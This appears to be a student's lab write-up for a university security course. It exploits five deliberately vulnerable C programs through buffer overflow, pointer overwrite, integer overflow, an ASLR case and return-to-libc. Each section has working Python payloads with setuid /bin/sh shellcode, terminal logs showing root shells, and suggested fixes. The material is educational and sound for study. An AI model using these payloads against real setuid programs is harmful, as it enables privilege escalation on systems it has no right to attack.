Project 1

Questions

1. Briefly describe the behavior of the program.
2. Identify and describe the vulnerability as well as its implications.
3. Discuss how your program or script exploits the vulnerability and describe the structure of your attack.
4. Provide your attack as a self-contained program written in Python.
5. Suggest a fix for the vulnerability. How might you systematically eliminate vulnerabilities of this type?

Answers

Vulnerability 1

1. In Vulnerability 1 arg is being passed to the vulnerable() function. In the function strcpy is used to copy elements from 'arg' to 'buf' with 'buf' being the destination array and 'arg' being the string being copied into it.

2. The size of the 'buf' is 100 and if the input is greater than 100 then first the memory till buf[99] will get filled up but as there is still more data to be copied strcpy() will continue copying the data to the region above the buffer, treating the memory beyond the buffer as buf[100], buf[101], and so on. The region above the buffer includes critical values, including the return address and the previous frame pointer. The return address affects where the program should jump to when the function returns. If the return address field is modified due to a buffer overflow, when the function returns, it will return to a new place.

3. Using the vulnerability, we cause the program to run the code we have to escalated privileges. The script take advantage of exactly this vulnerability as we feed the input of more than what 'buf' can handle, which causes a buffer overflow, and then we point the return address to the shell code provided which will fire up a shell and give us the root access.

4. print('\x90'*59+'1\xdb\x8dC\x17\x99\xcd\x80'+'\xeb\x1f^\x89v\x081\xc0\x88F\x07\x89F\x0c\xb0\x0b\x89\xf3\x8dN\x08\x8dV\x0c\xcd\x801\xdb\x89\xd8@\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh')

```
cs526@kali:~/proj1-fall21$ ./vulnerable1 $(python sol1.py)
# whoami
root
# exit
```

5. To eliminate buffer overflow vulnerability one can primarily start with using safer functions. For examples for memory copy functions like strcpy, sprintf, strcat, and gets, their safer versions are strncpy, snprintf, strncat, fgets, respectively. The difference is that the safer versions require developers to explicitly specify the maximum length of the data that can be copied into the target buffer, forcing the developers to think about the buffer size. Apart from this the other software defenses are- using safer languages (example- Java and Python which provide automatic boundary checking), static code analysis which warns developers of the patterns in code that may potentially lead to buffer overflow vulnerabilities.

Vulnerability 2

1. In Vulnerability 2 the 'arg' is getting copied into 'buf' of size 2048. But in this case the function used in strncpy() and hence the number of characters which would be copied from 'arg' to 'buf' are mentioned which is equal to eight greater than the size of 'buf'. Here there is also a pointer p is pointing to a and which takes the address from a.

2. The vulnerability to be exploited here is buffer-overflow. But in this it is done such that the buffer is filled to a point taking care that the variable to which the pointer points to holds the address to the code we desire to run. So once the buffer is filled with values and the next line of code i.e. the pointer executes it is re-directed to a place the attacker wants it to point to get escalated privileges.

3. There is certain amount of memory allocated to buffer (2048), then comes 'a' and then comes 'p'. The way this exploit works is that after running strncpy, p pointer is pointing to a and reading a. So, if you fill 'a' with whatever address you want to read, it'll read that instead of original address that was written in 'a'. And because you overwrote 'p' to actually point to where the return address lies on the stack, the return address will be replaced with the address to the code you want to run that is the shell code to fire up the shell and get root access. So as the size of buffer is 2048 and size of shell code is 53 we add 1995 NOPs. This will make sure that 'sh' ends at 2048. Then next 4 bytes that is 'a' will hold the address of the start of shellcode so that when 'p' points to 'a' it'll start the shellcode. After that the program needs to return. So, the last 4bytes that is 'p' will hold the address of eip

4. setuid = '1\xdb\x8dC\x17\x99\xcd\x80'
   bin_sh = ('\xeb\x1f^\x89v\x081\xc0\x88F\x07\x89F\x0c\xb0\x0b\x89\xf3\x8dN\x08'
   '\x8dV\x0c\xcd\x801\xdb\x89\xd8@\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh')
   shellcode = setuid + bin_sh
   print('\x90'*1995+shellcode+'\xbf\xed\xff\xbf\x3c\x61\xff\xbf')

```
cs526@kali:~/proj1-fall21$ ./vulnerable2 $(python sol2.py)

# whoami
root
# exit
```

5. As the vulnerability is a buffer overflow one the common practices for avoiding it are use of safer programming language, safer functions (for example instead of strcpy use strncpy, istead of strcat use strncat), do lots of testing, conduct static code analysis, do own bound checking

Vulnerability 3

1. In Vulnerability 3 a file is opened and the contents of the file are being copied to a buffer. The function read_file() opens the file and sets the buffer size by allocating memory equal to 'count' * sizeof(unsigned int). Then the file, buffer and count is further passed onto the read-elements() function. In this function the elements from the file are read into the buffer with the loop having the condition that the number of elements should be less than 'count'.

2. The vulnerability can be described as integer overflow. Although integer overflow at times isn't considered a primary exploit it is a weakness that can be categorized as critical because they are relatively easy to locate and exploit. The exploitation can lead to complete takeover of the system, data theft, data exfiltration, or preventing an application to run correctly.

3. To exploit the vulnerability in the program we have to make use of the fact that the size of the buffer is determined by count into size of unsigned int. The nature of the unsigned integers is such that once it reaches the limit, it comes back to the lowest number and starts over. This is exactly what we have to use so that the count value is greater but the buffer size is small. This would make sure that the loop in the read_elements() function keeps going while the size of the buffer is exhausted resulting in the elements being read spilling out of the buffer.

4. print('\x01\x00\x00\x40'+'\x90'*7+'1\xdb\x8dC\x17\x99\xcd\x80'+'\xeb\x1f^\x89v\x081\xc0\x88F\x07\x89F\x0c\xb0\x0b\x89\xf3\x8dN\x08\x8dV\x0c\xcd\x801\xdb\x89\xd8@\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'+'\x00\x69\xff\xbf'*100)

```
cs526@kali:~/proj1-fall21$ python sol3.py > tmp
cs526@kali:~/proj1-fall21$ python sol3.py > tmp; ./vulnerable3 tmp
# whoami
root
# exit
```

5. To prevent integer overflow we need to ensure that we apply the right techniques and strategies during the requirement, implementation, architecture and design phases while developing a certain program, software or application. We can start with selecting a programming language that can handle exceptions that arise due to this vulnerability. A compiler or programming language that checks for out of bound operations is preferable. The programmer also needs to do prior analysis to check if the program is able to handle exceptions related to out-of-bound values.

Vulnerability 4

1. In Vulnerability 4 the functionality is such that the arg is getting copied into the buffer of size 1024. But there is Address Space Layout Randomization (ASLR) which is used in the program.

2. The exploit is a simple buffer overflow. One has to make sure that more input is given to the buffer than it can handle. This would result in the input spilling out in the addresses below it considering it to be a buffer. This might result in the return address changing. If the return address field is modified due to a buffer overflow, when the function returns, it will return to a new place. And this new place would be the code that the attacker wants to run to exploit the vulnerability and get root access.

3. As there is ASLR, every time the program is run, components are moved to a different address in virtual memory. Therefore, we can no longer learn where the target address is through trial and error, because the address will be different every time.

4. print('\x90'*983+'1\xdb\x8dC\x17\x99\xcd\x80'+'\xeb\x1f^\x89v\x081\xc0\x88F\x07\x89F\x0c\xb0\x0b\x89\xf3\x8dN\x08\x8dV\x0c\xcd\x801\xdb\x89\xd8@\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'+'\x28\x62\xff\xbf')

```
cs526@kali:~/proj1-fall21$ ./vulnerable4 $(python sol4.py)
# whoami
root
# exit
```

5. Although there is ASLR in this program, ASLR doesn't resolve vulnerabilities, but makes exploiting them more of a challenge. While it is a useful first line of defense against memory corruption attacks, but more effective form of defense would be something like polymorphing technology. It works by running the source code through an advanced polymorphic compiler to randomize the low-level machine code for the entire operating system. This means all the addresses inside every executable, library, and function are unique; instruction sets for all libraries or executables are scrambled; you are provided with an entire one-of-a-kind resource mapping. Moreover, entire Linux environment can be re-scrambled every 24 hours.

Vulnerability 5

1. The program first calls the get-file_size() function which returns the value and it is stored in variable-input_file_size. Now the file and file size are given as input to the launch() function. Here the file_buffer is set to have the size that of the file_size. Then the write function writes bytes equal to filze_size from the buffer pointed to by file_buffer into the file associated with the open file descriptor- file_descriptor. In the next if statement the user_interaction() function is called where the inputs regarding the offset and value are taken from the user. And once the request_buffer[0] becomes save_quit the control is again returned to the launch function.

2. The exploit is libc attack. In a Normal Buffer overflow the buffer is overflowed to overwrite the saved frame pointer, and the saved return address. To redirect execution to our shellcode either saved in environment variable or the stack in our buffer. When stack protection is implemented all of the above goes well but the stack isn't executable so u can't execute instructions from environment variables or the stack. But as all function definitions are saved in libraries we can overwrite the return address with an address to a function in a libc library, and overwriting the arguments and saved return address after the function address the processor should treat this as a valid function call. This means we are creating a fake function stack frame.

3. In this exploit we create to return the control to the system() function. The argument would be bin/sh and exit is used so that we can gracefully exit from the program. And the commands given in the sol5_commands.txt file have the write command, offset and value stored in it. They are the addresses of system(), exit() and /bin/sh converted to ASCII. So when we run the files using the command- cat sol5_commands.txt - | ./vulnerable5 sol5_input.txt the process of reading the commands post the input of sol5_input.txt file, is automated.

4. Sol5-commands.txt:
   w,92,64
   w,93,11
   w,94,226
   w,95,183
   w,96,64
   w,97,59
   w,98,225
   w,99,183
   w,100,170
   w,101,10
   w,102,246
   w,103,183
   q

   sol5_input.txt:
   AAAAAAAAAAAAAA

```
cs526@kali:~/proj1-fall21$ cat sol5_commands.txt - | ./vulnerable5 sol5_input.txt
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
exiting application
whoami
cs526
exit
```

5. Some of the protection schemes are stack randomization, library randomization, GOT and PLT separation, removal of executable memory regions and stack canary values. Each method brings with it a degree of extra protection, making it much more difficult to execute code after overflowing some buffer on the stack or heap. These help increase the defense against this form of attack that make it much more difficult to perform in any consistent manner, ranging from core Kernel to compiler protection mechanisms.

6. What is stack canary?
   Stack canaries are usually introduced to prevent buffer overflows. The canary basically will change at every run of the program, making for a difficult to predict value. It places random values before the return address. One has to check the random value before returning. But nonetheless a stack canary is a reactionary measure not a preventive one.